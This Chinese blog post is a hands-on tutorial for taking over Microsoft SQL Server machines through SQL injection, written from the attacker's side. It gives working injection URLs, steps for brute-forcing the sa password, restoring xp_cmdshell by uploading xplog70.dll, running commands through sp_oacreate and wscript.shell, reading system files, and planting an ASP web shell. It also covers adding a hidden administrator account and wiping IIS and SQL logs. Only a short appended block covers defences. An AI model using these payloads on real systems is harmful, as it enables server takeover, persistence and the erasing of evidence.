利用Xp_Cmdshell取得服务器的管理权,很可怕的SQL注入

在MSSQL中具有sysadmin权限的用户可以通过xp_cmdshell存储扩展以system的权限执行任意系统命令,因此大多数对安全比较重视的管理员都会将它删除,即使没有删除也有可能会由于获得的权限不足而前功尽弃。因此获得了xp_cmdshell的执行权限也就成了大多数SQL Injection攻击方法的终极目标。我给大家介绍一下在此过程中涉及到的几个关键问题及其解决方法。权当是抛砖引玉。
获取当前用户权限
在MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。每一个权限具有不同的作用,同时也决定了我们的成败。在这8种权限中只有sysadmin才是我们真正想要得,因此只需要提交
http://somesite/show.asp?id=4864 and 1=(select IS_SRVROLEMEMBER(’sysadmin’))
来判断当前用户是否具有sysadmin权限。如果返回正常的话那就恭喜了,今天足彩肯定中奖!否则的话(谁拿鸡蛋扔我了^_^)我们还有其他的方法可以用呢。
破解sa账号的弱口令
这种方法应该不属于SQL Injection的范畴,但在我们的整个渗透过程中往往会起到决定性的作用。好了,闲话少说,打开我最常用SQLScanPass,将主机IP及端口1433写入SQLHost.Txt文件中,先测试一下空口令,如果没成功的话,就挂一个好用的字典,成功的几率便会大大增加。运行界面如图所示

现在我们可以沏上一杯咖啡慢慢的享受,慢慢的等待了。
判断存储扩展检测
  如果当前网站用户使用的就是sysadmin权限,就可以利用愁要饭的方法进行存储扩展的检测及恢复,这样会容易很多。如果是获得sa或其他账号弱口令的话,剩下的任务就可以交给SQLTools.exe了。这个程序是由蓝色光芒编写,其功能强大的难以想象。但是除了执行数据库命令以外都需要一定的存储扩展支持,因此首先要判断这些存储扩展是否存在。从"利用目录"菜单中打开执行数据库命令窗口,填入我们要执行的命令。例如
select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
用于判断是否存在xp_cmdshell存储扩展,运行界面如图所示

如果返回结果为1的话我们就可以使用菜单中的"执行DOS命令"选项了。否则的话就要往下看了。
恢复xp_cmdshell,抓住肉鸡
直接在数据库命令执行窗口写入
Exec master.dbo.addextendedproc ’xp_cmdshell’, ’xplog70.dll’; select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
如果返回1的话就说明恢复成功,否则的话就需要我们给他上传一个xplog70.dll文件。
打开文件上传的窗口将文件上传到C:/WinNt/System32/下后执行数据库命令
Exec master.dbo.addextendedproc ’xp_cmdshell’, ’C:/WinNt/System32/xplog70.dll’。
OK,剩下的就是我们日常使用的net use和net localgroup命令了,为服务器添加一个隐藏的账号,清理好IIS日志和MSSQL日志闪人。
绕过xp_cmdshell执行系统命令
在MSSQL中可以通过sp_oacreate 和sp_oamethod 两个存储扩展创建ActiveX自动脚本。因此执行系统命令的语句可以写成:
declare @o int 
exec sp_oacreate ’wscript.shell’, @o out 
exec sp_oamethod @o, ’run’, NULL, ’net start telnet’
他的作用是在服务器端通过wscript.shell执行net start telnet,从而开启服务器的telnet服务。
你一定会想到FSO了!对,我们也可以通过它进行文件的管理,例如:
declare @o int, @f int, @t int, @ret int ,@c varchar(8000)
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:/boot.ini’, 1 
exec @ret = sp_oamethod @f, ’readline’, @line out
select @c=’’
while( @ret = 0) 
begin 
select @c=@c+@line+char(13)+char(10)
exec @ret = sp_oamethod @f, ’readline’, @line out 
end
可以读取c:/boot.ini文件中的内容并存储在局部变量@c中。如果想读出来,只需要创建一个临时表写入就可以了。
用这种方法也可以创建文件,并写入数据,例如:
declare @o int, @f int, @t int, @ret int 
exec sp_oacreate ’scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:/inetpub/wwwroot/foo.asp’, 1 
exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% set o = server.createobject("wscript.shell"): o.run("cmd.exe /c "&request.querystring("cmd")) %>’
在c:/inetpub/wwwroot/foo.asp创建了一个只有两行代码的asp木马。这种方法避免了使用备份所带来的大量无用数据和使用sp_makewebtask存储扩展所带来的创建临时表的麻烦。这可是居家旅行,杀人硬盘的必备工具阿!
总论
MSSQL为我们提供了异常丰富的存储扩展库,可以完成操作系统所能完成的大部分重要的功能,例如注册表管理、文件管理、用户管理、权限管理等。但是如果没有足够的安全防范意识,就会给服务器带来致命性的威胁。 
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server的xp_cmdshell是一种在数据库中执行操作系统级命令的功能。然而,xp_cmdshell也被黑客滥用,用于进行SQL Server注入攻击。 xp_cmdshell注入是一种利用SQL Server的xp_cmdshell的漏洞,通过构造恶意SQL语句来执行任意操作系统命令。攻击者可以将自己的恶意脚本嵌入到SQL查询中,并在成功执行攻击后,实现对操作系统的非授权访问。 为了防止xp_cmdshell注入,我们可以采取以下措施: 1. 最佳实践规范:在部署SQL Server时,应遵循最佳实践并限制对xp_cmdshell的使用。只有授权用户才能使用xp_cmdshell,并最小化对其的权限。 2. 存储过程控制:编写存储过程是一种减少xp_cmdshell注入风险的好方法。通过使用存储过程,可以在执行xp_cmdshell之前进行输入验证和参数验证,以防止恶意代码执行。 3. 输入验证:在开发和设计应用程序时,应该对用户提供的输入进行验证和过滤,以防止恶意代码或SQL注入的注入攻击。 4. 更新和补丁:及时安装SQL Server的更新和补丁是防止xp_cmdshell注入的关键。这些更新和补丁将修复已知的漏洞,并加强系统的安全性。 5. 审计和监控:配置SQL Server以记录和监视xp_cmdshell的使用是防止注入的另一种方法。通过实时监控xp_cmdshell的使用情况,可以及时发现和阻止潜在的注入攻击。 总之,防止xp_cmdshell注入是很重要的,我们需要采取适当措施保护SQL Server,如限制访问权限、验证输入、及时更新等。这样可以提高系统的安全性,并减少被黑客攻击的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值